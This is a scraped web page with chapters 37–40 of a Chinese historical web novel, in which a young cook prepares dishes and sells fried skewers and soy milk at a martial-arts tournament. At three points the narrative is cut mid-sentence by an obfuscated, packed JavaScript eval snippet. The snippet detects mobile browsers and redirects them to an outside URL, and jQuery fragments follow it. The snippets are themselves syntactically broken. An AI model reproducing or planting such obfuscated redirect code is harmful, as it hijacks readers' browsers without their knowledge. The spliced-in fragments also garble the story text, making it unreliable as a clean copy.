一切准备就绪，林窈把裹好米粉的肉块整齐码放在铺着荷叶的蒸笼里，肉块在蒸笼里排列得整整齐齐。她把蒸笼放在炉灶上，往灶膛里添了几把柴，火势熊熊，热气迅速在蒸笼内升腾起来。一盏茶的工夫，灶房里便弥漫起粉蒸肉那浓郁的香气，糯米粉的清香、五花肉的脂香与荷叶的清新交织在一起，引得林崧丢下阿兄编的蚂蚱，守在灶台边眼巴巴等着开饭。 37. 红烧猪蹄 “林小娘子，今日怎么收摊这么早？”吴镖头押完镖返程，心心念念着那口卤猪下水，一路紧赶慢赶，硬是比往常提早了半日回到清泉镇，赶在林窈收摊前，买了两碗卤猪下水粉和一大碗红烧肉。 林窈一边手脚麻利地收拾桌子，一边回应：“是哩，今日得早点回家准备食材，擒虎武行的许师傅在我们这儿订了饭食。” 吴镖头一听，顿时来了兴致，“擒虎武行莫不是要去参加府城的擂台赛？”吴镖头刚从府城回来，在江临城时就听闻过几日有擂台赛。当时还遗憾自己来得不巧，要是晚几日去押镖，便能留在江临看完擂台赛再回来。 林窈倒也不奇怪吴镖头会知道，走镖的人向来消息灵通，“正是，吴镖头也去观赛？” 吴镖头摇了摇头，略带遗憾地说：“不好说，镖局里事儿多，还得看那几日有没有往府城去的货。” “原来如此，挣钱要紧呐。我那日也得去府城卖几个新琢磨出来的菜式呢！”林窈心里算盘打得噼里啪啦响，各种小吃在脑海里层出不穷，她正琢磨着，得挑个做起来简便、利润又高的。 吴镖头点头赞同：“谁说不是呢。” ～ 林家。 林窈三人回到家时，林诚和黎婶子已经从码头回来了，就连刘大壮今日也没出去忙活。几人赶忙把驴车上的东西卸下来，今日不仅要准备明日擒虎武行的饭食，更重要的是，得着手准备炸串的食材。 没错，林窈决定但府城卖炸串！ 许之珩来找她那天，林窈就动起了心思。古代可没有手机，像这种大型活动，必然是人流量巨大，这么好的赚钱机会，她怎会轻易放过？正好趁着擂台赛那日大赚一笔。这几日，她一直在琢磨，哪种街边小吃利润高又出餐快，思来想去，还是炸串最划算。素菜所需的蔬菜，村里到处都是，至于肉菜，林窈选了五花肉和排骨，毕竟没人能抵挡住焦香的五花肉和酥脆的排骨的诱惑。 炸串用竹签串起来，炸好后顾客拿了就能走，特别适合这种比赛场合。只是所需竹签数量巨大。这几日，林窈让刘大壮暂停制作水晶粉，专心把竹签备好。刘大壮从小就和这些活计打交道，削竹子、做陷阱这类事没少干，削竹签对他来说，简单得如同家常便饭。才两日时间，就做出了满满一大筐竹签，少说也有六百多根。 林窈瞧着堆在院子里的包菜、韭菜、小火菇①、茄子，开始分配任务：刘旭和林诚洗菜，黎氏和梁氏切菜，刘大壮洗肉和切肉。这个朝代还有许多食材尚未出现，为了丰富素菜的种类，林窈决定自制豆皮。 林崧在一旁目光灼灼地盯着，林窈话音刚落，他就蹦到林窈面前，“二姐我呢我呢？崧儿要做什么？” 林窈思索片刻，给他找了个活儿打发时间，“崧儿去给磨加黄豆，盯着小灰磨黄豆，不可叫它懈怠！” “好！我一定好好瞧着！”小家伙得了令，觉得自己也是家里的帮手了，屁颠屁颠地去看毛驴拉磨。 林窈带着王小鱼进了灶房，她们得把明日早起要用的食材以及炸串需要的调料准备妥当。头一件事，便是做红烧猪蹄。猪蹄炖得软糯入味才好吃，可这得花不少时间，明天早上时间紧迫，现做肯定来不及。 今日要处理十一只猪蹄，原本林窈只买了十只猪蹄，可想着第二日大家大清早就要忙活，大半日只能看着不能吃，实在煎熬，于是今日便自己掏钱又买了一只，等干完活，大家也能好好吃顿好的。 林窈先给王小鱼打了个样，她把猪蹄放在案板上，抄起菜刀，顺着猪蹄的关节，利落地将猪蹄剁成几小块。一旁的王小鱼依葫芦画瓢，跟着剁猪蹄，两人没一会儿就切出了一大盆。 剁好的猪蹄块被林窈放进一个装满水的大盆。没过多久，血水便渗了出来，把水染红。林窈开始换水，边换边解释：“泡猪蹄就是为了把血水浸出来，不然炖出来会有腥味。” 约莫过了一刻钟，林窈再次换水，这次泡出的水血色淡了许多。她把猪蹄捞出来，沥干水分。接着，在铁锅里倒满水，丢进去几段葱段、几片姜片，又倒了些许酒，往灶膛里添了几把柴。大火把水烧开后，林窈将一盆猪蹄倒了进去。沸腾的锅里冒出许多白色浮沫，林窈拿起锅铲，熟练地把浮沫撇去，“焯水能进一步去腥，这浮沫不仅是腥味的来源还影响卖相，得撇掉。” 林窈把焯完水的猪蹄捞出来，放在一旁。她把铁锅刷洗干净，往里舀了满满一碗猪油，看着和平时吃饭用的碗一般大小。王小鱼在一旁看得目瞪口呆，这么一大碗油，他们家能吃一个月呢。林窈这次放的猪油比往常多，她解释道：“往后做这道菜，不用放这么多油。明日武行的人要去打擂台，油水得给足了。” 锅中猪油加热至微微冒烟，林窈抓了几把冰糖放进去。冰糖在油里迅速融化，变成了诱人的焦糖色，甜香味也随之飘散开来。林窈赶紧把猪蹄倒进去，不停地翻炒，让每块猪蹄都均匀地沾上焦糖色。此时的猪蹄，色泽诱人，香气扑鼻。 接着，林窈又往锅里加了八角、桂皮、香叶、花椒、茱萸，没有生抽、老抽、蚝油，就只能多加点盐。林窈使劲搅拌，让味道匀乎。最后，林窈盖上锅盖，小火慢炖，“红烧猪蹄炖的时间得够长，猪蹄才能炖得软糯，入味好吃。今晚就让它在这儿小火炖着，明早起来，猪蹄就能出锅了。” 林崧扒着灶房的门框，露出一个小脑袋，冲着林窈喊：“二姐！小灰拉完啦！” 林窈一时有些无奈，伸手捏了捏林崧日渐红润的小脸，纠正他，“以后要说小灰拉完磨了。” 林崧挠了挠头，他觉得自己说的就是这个意思呀，不过二姐说什么他就听什么，“噢！” 院里此是弥漫着蔬菜的清香和豆香，林窈看到石磨下是满满一大盆豆浆，泛着白沫。不过此豆浆非彼豆浆，现在这只是磨成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243718|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浆液形态的豆子，还混杂着豆渣，得经过过滤、煮沸后，才是能喝的豆浆。接下来过滤的活是个难题，这次做的量太大，要是单靠人力过滤，怕是要把人累瘫。 林窈打算做个滤袋。她从屋里取出一大块干净的白纱布，又找来两根竹棍。她把竹棍交叉放置，用长绳在交点处固定好，又在交点绑上一根粗绳，等会儿可以用这根绳子把滤袋挂起来。接着，林窈把白纱布的四个角分别与竹棍的四边绑紧，这样，一个简易滤袋就做成了。林窈把滤袋固定在院子里那棵歪脖子枣树上，试着往里面加了点豆浆，豆浆顺着滤袋的缝隙缓缓渗出，发出细微的滴答声。 王小鱼在一旁看得惊叹不已，她本想着这么一大盆豆浆要过滤，今日怕是得忙活到深夜，没想到师父捣鼓了几下，就做出了这么好用的工具，她看向林窈的目光里的崇拜更甚。 林窈把水瓢递给王小鱼，叮嘱道：“阿鱼，你在这儿过滤这些豆浆，留意固定的绳子有没有松动，要是松动了，就喊大壮哥他们帮忙固定一下。” 林窈一直在琢磨，做完豆皮剩下的豆浆该怎么处理，是直接卖饮子，还是做成豆花。思量许久，最后决定直接卖饮子，不为别的，从镇上到府城有一个时辰的路程，走的还都是泥路，等赶到府城，豆花怕是都碎成豆渣了，口感和卖相都会大打折扣。 趁着等待豆浆过滤的间隙，林窈准备做五香粉。炸串得有调料才够味儿，可这个时代调料匮乏，既没有辣椒，也没有孜然，她只能自己动手调配五香粉。当然，更重要的原因是她囊中羞涩，要是穿越成王公贵胄，她说不定就派人下西洋去找各种香料了。 林窈从背篓里拿出粗布包，里面装着她这几日跑了好几家医馆精心挑选的香料，有八角、鸡舌香②、花椒，还有蘹香③。这一包可花了她一两银子，幸好之前上山刮了不少桂皮，不然只怕还得多花几百文钱。 她先把八角和桂皮放在案板上。林窈拿起一把小刀，先将桂皮细细切碎，桂皮质地坚硬，每切一下都要费不小力气。接着是八角，林窈将其切成小块，方便后续研磨。林窈首先把八角倒入石臼舂捣。随着不断舂捣，香料渐渐碎裂，香气愈发浓烈，待到八角被研磨成细碎的粉末，林窈才把它倒出来，放置在干燥的碗中。接下来的四种香料也是如此，忙活了大半个时辰，林窈终于把所有的香料都捣成了细碎的粉末状。 林窈按照八角、花椒、桂皮、蘹香、鸡舌香，10:10:5:5:2的比例混合④，林窈再次拿起杵棒，将所有香料混合在一起反复舂捣，臼中的香料相互交融，那股麻与香交织的独特气息，在空气中飘散。林窈用手指捻起一些粉末，放在鼻下轻嗅，这味道甚至比现代的五香粉还要香上几分，也许是因为古代的香料天生地养，质量更好。 林窈把五香粉做好后把剩余的香料包好放在了柜子里，五香粉装到了提前买好的瓦罐里，被她放置在砧板旁。 38. 辣子鸡 灶房外，王小鱼已经把豆浆全部过滤好了，林窈与她一起把木盆抬到院子里临时搭建起来的灶旁。家里只有一个锅，要应付接下来的活计，肯定忙不过来，所以林窈提前让刘大壮在院子里砌了个简易土灶，还把他们家的锅也借了过来。 王小鱼熟练地生了火，又往灶膛里添了几把柴火。林窈把木盆里的豆浆缓缓倒入锅中，随着温度的升高，豆浆表面渐渐泛起一层细密的白沫。林窈沿着锅底顺时针搅拌豆浆，动作不紧不慢，“过滤后的豆浆要煮沸了才能喝，煮的时候要常搅拌，不能让豆浆粘锅，不然就有糊味，坏了口感。” 约莫过了一刻钟，豆浆就开始沸腾，接下来林窈让王小鱼把灶里的大木柴夹出，把火力降低，“现在就等着豆皮成型了。”不消片刻，豆浆表面就出现了一层淡黄色的豆皮，林窈拿出一根竹签，她将竹签轻轻探入豆皮下，手腕微微用力，豆皮就顺势被带了起来，在蒸腾的热气中微微颤动，她小心翼翼地将豆皮平铺在一旁的竹匾上晾晒。 两人折腾了一个时辰，豆皮越做越多，竹匾很快就用完了。林诚见状，赶忙找来两根竹竿，帮着架好。最后，她们做了满满六个竹匾和两竹竿的豆皮。虽说数量看着不少，可豆皮这东西，一口就能吃下一个，实在不禁卖，投入与产出严重失衡。林窈揉着发酸的腰，觉得自己这辈子都不想再做豆皮了。 另一边，刘大壮几人从未时初到酉时末，忙活了三个时辰才将将把菜全部串好，装了两个大箩筐。 盆里还剩下小半盆豆浆。林窈往豆浆里放入两大块麦芽糖，搅拌至融化。她把豆浆用大碗装好，和王小鱼一起，给刘大壮等人端去。刘大壮和梁氏早已熟悉林窈的脾性，可黎婶子和刘旭还有些拘谨，不太敢接。梁氏瞧着黎婶子母子俩磨磨蹭蹭的样子，干脆把自己的碗放下，从林窈手里接过两碗豆浆，直接塞到他们手中。这动作幅度太大，碗里的豆浆晃荡了几下，吓得黎婶子和刘旭赶忙端稳碗。他们刚刚可瞧见了，这豆浆可是林窈用一大袋黄豆磨出来的，更何况还加了一大块麦芽糖，金贵着呢，要是撒出来，可就太浪费了。 梁氏快人快语，“阿窈让你们喝，你们就喝，哪这么多的废话，阿窈端着也挺累的。这豆浆可是阿窈的一番心意，你们要是不喝，反倒扫了她的兴。” 黎婶子捧着那碗豆浆，神色略显局促，“这……这怎么好意思呢，本就是我们来阿窈这儿做工，还又吃又喝的。”刘旭站在母亲身旁，低着头，看着那碗冒着热气的豆浆，心想这一碗豆浆拿出去，能卖好几文钱吧。阿窈妹妹说给就给了，要是自己也能像阿窈这样做生意，他和母亲的日子就不用过得这么紧巴巴…… 林窈见状，连忙接过话茬：“婶子，您别这么说。原本只请您在码头食摊上帮忙，今日还劳烦您和阿旭哥过来，这豆浆您就喝了吧，对身子好哩！” 几人喝过豆浆后，便各自回家去了。 ～ 翌日。 今日，林诚和林窈寅时就开始忙碌起来。府城的擂台赛辰时开始，算上路上要花费的一个时辰，林窈他们必须在卯时赶到镇上约定的地方。 好在昨日已经准备好了大半食材，今日只需做好辣子鸡、猪骨汤和豆浆就行。林诚把驴牵到石磨旁，喂了一块红薯，轻轻拍了拍驴的后背，“小灰，今日可要辛苦你了，等我从府城回来，再给你上山割新鲜的草。” 林窈打算先做猪骨汤。她把炖了一晚上的红烧猪蹄舀出，洗净锅，接着把猪骨、葱、姜、酒一股脑儿倒入锅中。待水烧开，撇去浮沫，盖上锅盖炖煮片刻。趁着这个间隙，她开始腌制鸡肉。辣子鸡做法简单，不过需要提前腌制。她往鸡肉里加入酒、盐、五香粉和淀粉，搅拌均匀。 刘大壮等人也陆续来了。王小鱼到灶房给林窈打下手，林诚和刘大壮则去做魔芋爽。考虑到路途遥远，锅和铁板携带不便，即便打算做炸串生意，林窈也只准备了一个瓦罐和小火炉，所以只打算做些魔芋爽拿去卖。剩下的人在院子里帮忙做豆浆。小小的院子里，大家各司其职，一片忙碌景象。 灶房里，林窈把猪骨汤盛出后，开始制作辣子鸡。她把筷子插入油中，看到筷子旁冒出细密的气泡，便知道油温正好。她将腌制好的鸡肉逐块放入锅中。土灶火力旺，鸡肉很快开始变色，肉香味瞬间弥漫整个灶房。炸至表面金黄酥脆后，林窈把鸡肉捞出控油备用。 此时，锅里留少许底油，放入茱萸、花椒、姜片和蒜末，小火煸炒。厨房里飘出浓郁的香辣气息。待辣椒和花椒煸炒出香味，林窈把炸好的鸡肉再次倒入锅中，大火快速翻炒，让鸡肉充分吸收辣椒和花椒的香味。每一块鸡肉都被霸道的辣味包裹着，色泽诱人。院子外的几人，在林窈煸炒茱萸的时候，就开始不停地打喷嚏。平日里他们也用茱萸调味，可从没被呛到喷嚏连连，不知道林窈这次放了多少茱萸。 林窈把辣子鸡装好后，拿出提前盛出的猪蹄，招呼众人吃早饭。几人看到红烧猪蹄时，都愣住了，他们可从没见过把红烧猪蹄这样的硬菜当早饭的。林窈见没人动筷子，连忙解释：“今日要去府城，这一路肯定辛苦，大家得多吃点！不然半道就该饿了。” ～ 林诚把驴车停在约定的地方时，林崧还躺在驴车上呼呼大睡。林窈在路边摘了一株狗尾巴草，用狗尾巴草轻轻挠林崧的脸。睡梦中的林崧脑袋往一旁偏了偏。林窈见状，咯咯直笑，手上动作不停。林崧睡眼惺忪间，瞧见姐姐正拿着狗尾巴草逗自己，一下子就清醒了，坐起身来，伸手就要去抢。林诚赶忙按住他，生怕他没轻没重，把车上的饭菜弄翻了。 林窈还想继续捉弄林崧，却远远地听到了许之珩的声音：“诸位早啊！”林窈回头一看，许之珩带着一队年龄各异的壮汉朝他们走来，气势汹汹。要不是知道自己只是来给他们做饭的，她恐怕拔腿就跑了。 林窈连忙应道：“许公子早！各位大哥早！” 许之珩笑着朝林窈点点头，目光看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250488|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向驴车上的林崧，调侃道：“这小娃刚睡醒，看着精神头不错。” 林崧被他一瞧，有些害羞地躲到饭桶后，只探出个脑袋，好奇地打量着这群陌生人。林诚上前，与许之珩拱手示意：“许公子，都准备妥当了，咱们这便出发？” 许之珩大手一挥，“出发！去府城！” 一路上，驴车夹杂在队伍中间前行。林崧按捺不住好奇心，时不时从饭桶后探出头，观察着周围的壮汉们。 吕大志瞧见林崧探头探脑的小模样，哈哈一笑，脸上的络腮胡都抖了抖，他从腰间解下一个小木雕，递了过去，“小娃，拿着玩。” 林崧眼睛一亮，刚要伸手去接，又犹豫地看向林窈。林窈笑着点了点头，林崧这才欢喜地接过，脆生生地道谢：“谢谢大叔！” 吕大志摸了摸他的头，“真乖！” 走了一个时辰，远远地便能看见府城的轮廓，众人的心情愈发高涨。城门口，人流如织，热闹非凡。许之珩带着众人顺利进城。府城比清泉镇繁华许多，建筑也更为精美。林窈看着那些古色古香的建筑，眼睛都看直了，这可不是现代批量化设计的景区能比的。 林崧更是兴奋得不行，拉着林窈的手直嚷嚷：“二姐，好多好玩的！” 林窈眼中满是笑意，捏了捏他的脸蛋，“别急，“咱们先去把事办完，一会儿再带你逛。” 林窈几人跟着许之珩来到一处宅子前。许之珩介绍道：“这户人家是我在府城的友人，一会儿你们可以借用他们的灶房，把饭菜做好送过来。看到前面的擂台了吗？我们就在那儿。”众人帮着把驴车上的物资搬下车后，许之珩便要带着壮汉们去擂台下。 林窈赶忙叫住许之珩：“等等！许公子，我们跟你一起去！饭菜我们在家已经做好了，只需加热就行，大壮哥和嫂子做好了会送过去。” 许之珩不以为意，“那也可以，你们跟着吧。” 擂台旁站着穿着各色服饰的队伍，有的身着仙风道骨的白色武袍，有的穿着扎眼的大红色劲装。林窈看了看身旁许之珩的队伍，队员们穿什么的都有，只是统一在头上绑了一条红色发带。许之珩见她两边来回打量，眼睛滴溜溜直转，忍不住问：“林小娘子，你是不是有话要说？” 林窈有些不好意思，“啊……哈哈，没什么，就是看别的参赛队伍都穿着统一的服饰，许公子你们怎么没有？” 金玉往前窜了一步，抢先说道：“还不是因为馆主抠……”他话还没说完，就被许之珩捂住了嘴。许之珩连忙解释：“打擂台靠的是实力，穿得再花哨也没用。” 这时，旁边正好有一队穿着黑色劲装的人路过。为首的人听到许之珩说的话，不屑地嗤笑一声，转过头来，目光挑衅地看向许之珩，说道：“哟，这是谁啊？原来是擒虎武馆，没钱置办武袍直说，只要你们武馆今日有一人能胜过我百胜武馆，我就赏你们一百两置办武袍！”张鑫话音一落，四周顿时响起一阵哄笑声。 39. 炸串 许之珩看到死对头又来嘲笑自己，不甚在意。要论起脸皮厚，他从来没有输过。许之珩拱了拱手，悠悠说道：“老大莫笑老二，咱们半斤八两，你我何必如此。” 张鑫被噎得说不出话，憋了半晌，才恶狠狠地开口：“哼，耍嘴皮子算哪门子本事！今日定要让你见识见识，我百胜武馆可不是好惹的！”他转头看向身后的弟子，眼神中满是胜负欲，“都给我听好了，谁要是赢了清风馆的人，重重有赏！要是输了……可别怪我不客气！”撂下狠话，便带着一队人扬长而去。 金玉不知何时悄然走到林窈身旁，轻声说：“我们公子只是不屑于跟这等小人一般见识。此人叫张鑫，是隔壁青石镇百胜武馆馆主的独子，平日里行事嚣张跋扈，只长个子不长脑子。” 林窈很少见金玉这么气愤的样子，看来两家是极不对付的，倒是许之珩，神色平静，丝毫不见情绪波动。好心态决定男人的一生，这人有这么好的心态，做什么都会成功的。 擂台周围，密密麻麻地挤满了观众，人潮涌动。擂台的正前方设有一个贵宾席，上面坐着几位身着华服、气度不凡的人。擂台下，各路队伍集结，气氛热闹， 一个穿着锦袍、头戴方巾的中年男子走上擂台，手中拿着一面铜锣，“哐哐哐”地敲了三声，洪亮的声音传遍全场：“各位乡亲父老、英雄豪杰，今日这场府城擂台赛，汇聚了咱周边数县的武馆！为的就是让大家瞧瞧咱大燕儿郎的飒爽英姿，也让各武馆切磋武艺！废话不多说，擂台赛现在正式开始！”说罢，铜锣又是一阵急响。 林窈在擂台一侧支起了自家的摊子。昨日，她特意花了五个大钱，请来镇上的书生帮忙写了布幡，此刻，那布幡在摊位上随风轻轻飘动，上头“林家食摊”四个大字格外醒目。 擂台上，首场比试已经开始。百胜武馆派出的是一个身形壮硕的弟子，虎背熊腰，往那儿一站，活像一座小山。而擒虎武行这边，则是个精瘦却目光如炬的年轻后生，林窈记得他叫谢冲。 两人互相抱拳行礼后，便拉开架势。壮硕弟子率先发难，大喝一声，猛地一个箭步冲上前，砂锅大的拳头带着呼呼风声，直朝对方面门砸去。谢冲却不慌不忙，身形一闪，灵活地避开这一击，顺势一个侧踢，直逼对手腰腹。两人你来我往，林窈瞧着，擒虎武馆的后生也没有这么刚才张鑫所说的那么不堪一击。 林窈这个想法还没坚持多久，只见谢冲一个不留神，被壮硕弟子抓住破绽。那壮硕弟子瞅准时机，猛地伸出蒲扇般的大手，一把揪住谢冲的衣襟，紧接着发力一甩，谢冲重重地撞在擂台边缘的麻绳上。那壮硕弟子本以为这一击能让谢冲失去战斗力，正准备乘胜追击，却没料到谢冲借着麻绳反弹的力向他冲来。 谢冲双手快速出击，直逼壮硕弟子的面门。壮硕弟子连忙抬起双臂格挡，可谢冲的拳法虚虚实实，变化多端，几招过后，壮硕弟子的手臂被击中数下，疼得他直叫，原本稳健的脚步也开始踉跄。谢冲最后一个扫堂腿，壮硕弟子根本来不及躲避这一击，重重地摔倒在地，扬起一片尘土。 台下观众见状，爆发出一阵惊呼。“这后生厉害啊，还能反败为胜！”“是啊，看这身手，擒虎武行今年有两把刷子啊！” 监较宣布擒虎武馆胜后，林窈看向许之珩，果然，这厮正举着一只手指对着张鑫耀武扬威。满脸得意之色。张鑫气得双眼通红，仿佛要喷出火来，恶狠狠地瞪着许之珩，那眼神恨不得将他生吞活剥。 林窈收回目光，趁着两边队伍修整的间隙，开始吆喝：“新鲜豆浆，香浓可口嘞！还有现炸的炸串！酥脆香辣，包您满意！各位看官，擂台比武费神费力，来上一碗豆浆润润喉，吃几串炸串解解馋呐！”她一边喊，一边手脚麻利地揭开豆浆桶的盖子，醇厚的豆香飘散开来，虽然经历了一个时辰的路途，豆浆早已经凉透，但正合适这种激烈的赛事。 吕大志听到林窈的叫卖声便走了过来，他刚刚为了给谢冲鼓劲，喊得嗓子都冒烟了，正想喝点水润润嗓子：“林小娘子，这豆浆咋卖？” 林窈笑意盈盈，赶忙回应：“吕大哥，四文钱一竹筒！”吕大志点了点头，摸出几文钱，“给我来五筒，我和兄弟们都解解渴。”林窈手脚麻利地盛好豆浆，递到汉子手中。 与此同时，王小鱼也在一旁熟练地翻动着炸串。瓦罐里的油滋滋作响，一串串五花肉、排骨、素菜在热油中翻滚，逐渐变得金黄酥脆，香气四溢，在一溜小摊里，她的烟火气最为霸道。 三个半大孩子被香味吸引，围在摊前，眼睛直勾勾地盯着炸串，小声嘀咕着。林窈瞧在眼里，笑着问：“小公子们，要来几串尝尝吗？可好吃啦！” 其中一个穿着朱红色交领衫的孩子舔了舔嘴唇，从怀里掏出一袋子铜板，仰起圆润的脸颊：“我要三串五花肉，再要一串炸排骨。”林窈从袋子里数出相应数量的铜板，接过王小鱼递来的炸串，撒上特制的五香粉，放在棕叶芦上，递给孩子，“拿好咯，小心烫嘴！” 林窈看着几个孩子端着炸串，站在路旁就迫不及待地吃了起来，那模样像极了小时候的自己。几个朋友在小卖部买完零食，总是刚走出小卖部，就忍不住开始大快朵颐。同样是脑袋挨着脑袋，你一口我一口，吃得津津有味。 林窈今日无论是豆浆还是炸串的定价，都偏高。这就如同后世景区的食物，价格往往会更贵一些。毕竟他们花费了大量时间准备食材，又长途跋涉来到此处，这价格自然得匹配他们投入的人力物力。然而，出乎她意料的是，今日都不需要她卖力推销，顾客就络绎不绝。或许是擂台赛热烈火爆的气氛让大家情绪高涨，消费时没那么理智，又或许是炸串的香气实在太过诱人，让人难以抵挡。他们准备的两大箩筐炸串，以肉眼可见的速度迅速减少，擂台下几乎人手一串炸串，生意好得超乎想象。 林窈掂了掂手里沉甸甸的铜板，心中开始快速盘算起来。五花肉三文一串、排骨五文、豆皮三文、其余素菜一文。此次一共带了一百五十串五花肉、六十串排骨、三十串豆皮、三百七十串素菜。粗略一算，光是炸串这一项，今日就赚了将近一两银子。看来这一趟真是来对了，收获远超预期！ 许之珩走过来的时候，正好瞧见林窈一个人站在那儿傻乐，笑得眼睛都眯成了一条缝，也不知道在高兴些什么。“林小娘子，可还有豆皮卖？”刚刚金玉给他带了一大份炸串，其中最让他觉得新奇的便是豆皮，吃起来油香四溢，酥脆可口，叫人回味无穷。 林窈正沉浸在赚钱的喜悦之中，许之珩这突如其来的一问，把她吓了一跳。她赶忙露出得体的笑容，“许公子来得不巧，所有的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256315|163713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸串都被刚刚那位客人一并买走了。” 许之珩听闻此言，在心里暗暗把金玉骂了一顿。早知道就该只给金玉一串，那小子自己一个人就吃了三串，还跟他抢，结果他才吃了两串。“如此，倒是可惜了。那豆皮的滋味，着实令人难以忘怀。”他心中一动，紧接着说道，“林小娘子，不若你我携手合作？我瞧着这豆皮在市场上前景广阔，大有可为。” 林窈微微一愣，不过瞬间便反应过来，笑着回应道：“自是极好。只是这制作豆皮，工序繁杂，讲究颇多，咱们不如改日再详谈？” 许之珩点头表示赞同：“林小娘子所言极是，此事确实急不得。不如就定在三日后，你到擒虎武馆找我，咱们好好商讨合作事宜，小娘子意下如何？” 林窈爽快应下：“行，那就说定了。” 许之珩走远之后，林窈没忍住笑了出声，王小鱼不明所以，“师父，许公子刚刚说了什么？” 林窈不打算现在就说，，毕竟还有正事要忙。“小事一桩，先把摊位上的东西收拾收拾，大壮哥他们该送午食来了。”话音刚落，林窈便听到了梁氏的声音。 林诚和刘旭赶忙上前帮忙搬今日的饭菜，只见满满当当几大桶，分量着实不轻，把几人累得够呛。林窈见状，赶忙迎上去，接过梁氏手中的提篮，里面装着一大把筷子。“辛苦嫂子了，快歇歇。” 此时，正值擂台中场休息时间，擂台周围的观众们早已饥肠辘辘，空气中弥漫着的饭菜香气，勾得他们肚子里的馋虫愈发活跃，纷纷开始陆陆续续地朝着这边聚集。 一个身量高挑的白衣少年路过林窈摊位时，被扑鼻的饭菜香勾得挪不动脚步。“小娘子，你这饭菜怎么卖？” 林窈面带歉意解释：“这位公子，实在对不住，这些饭菜是擒虎武馆提前预定的午食。” 白衣少年听闻，眼中满是失落，下意识地舔了舔嘴唇，无奈饭菜的香味直往他鼻子里钻，“竟是如此，擒虎武馆的人真是好口福。” 吕大志带着人过来取午食的时候正巧看到白易在这，“白小子，怎么还不去用饭，到处乱跑，小心你爹又揍你！”说完，几人哈哈大笑起来。 白易被他这么一说，白皙的脸瞬间涨得通红。他幼时贪吃，有一次擂台赛午歇时，为了买糖人跑到了城西，他爹四处寻他不着，急得险些放弃比赛。好在他买完糖人后，自己摸索着跑了回来。不过他爹抓到他后，就在擂台下当着众人的面，把他狠狠揍了一顿，那场面，他至今都觉得难堪。 吕大志见他脸红了，也不再继续逗他。“你这小子，脸皮还是这么薄。”白易没再多言，慌乱地行了一礼，便一溜烟跑走了。 几人拎着几大桶午食到队伍休息区，，一打开盖子，浓郁的饭菜香气引得擒虎武馆的弟子们纷纷侧目。“哇，老大捡钱了？这次的午食真是想啊！”“可不是嘛，闻着我的肚子就咕咕叫了！”弟子们一边嬉笑着调侃，一边迅速围拢过来。几人拎着几大桶午食来到队伍休息区，一打开盖子，浓郁醇厚的饭菜香气瞬间弥漫开来，引得擒虎武馆的弟子们纷纷侧目。 吕大志看着弟子们饿死鬼投胎的模样，不知道的还以为他们擒虎武馆平日里不给他们饭吃，笑骂喊道：“你们这群小兔崽子，平时亏着你们了？都别急，排好队，人人都有份！” 40. 挨打 吕大志几人把饭桶打开，一打开盖子，扑面而来的肉香气缠绕在每个人的鼻尖，就连吕大志自己瞧见饭菜时，也忍不住咽了咽口水，他赶忙招呼身旁的人分发饭菜。 排队的弟子们，每人都领到了一份丰盛的午食，碗里装满了色泽诱人的辣子鸡、红亮软烂的红烧猪蹄，还有清爽可口的干煸包菜。吕大志见大家都吃上了饭，这才给自己盛了满满一碗，迫不及待地狼吞虎咽起来。刚才分饭菜的时候，他已经闻了一刻钟的饭香，早就馋得不行了。 “这辣子鸡，外酥里嫩，香辣过瘾，太好吃了！”一个弟子嘴里塞着鸡肉，含糊不清地赞叹道。 另一个弟子啃着猪蹄，对林窈的手艺赞不绝口，“我倒是最爱这红烧猪蹄，软糯适中，肥而不腻！” “你们喝汤了吗？这猪骨汤，浓郁鲜香，一口下去浑身舒坦！我觉得我还可以大战几场！”众人一边大口吃饭喝汤，一边说着话，好不热闹。 吕大志听着众人的夸赞，转头对许之珩说：“这次订餐可真是订对了，林小娘子的手艺果然好。”许之珩无暇回应，他正在吃辣子鸡，辣得他任督二脉都打通了。他一抬头，瞧见白易在一旁探头探脑，他现在正是浑身都是劲儿还没处使的时候，正想找个人切磋切磋，“白小子！你鬼鬼祟祟在那儿干啥呢！找事儿呢？！” 白易被许之珩突如其来的吼声吓了一跳，看着眼前这人，被辣得满头大汗，嘴唇肿得像驴唇似的，赶忙连连摇头，结结巴巴地说：“不不不，我……我是想吃。” 许之珩一听，先是愣了一下，随即明白过来白易指的是想吃眼前的饭菜，不禁哈哈大笑起来：“你这小子，想吃就直说，干嘛跟个小贼似的在这儿偷偷摸摸。”说着，他顺手拿起一个空碗，动作麻利地给白易装了一份饭菜。林窈做的量足，还剩下一些，正好分给白易。 “拿着，赶紧吃吧。”许之珩把碗递给白易，“林小娘子做的饭菜，那可是一绝，尤其是这辣子鸡，够味儿！” 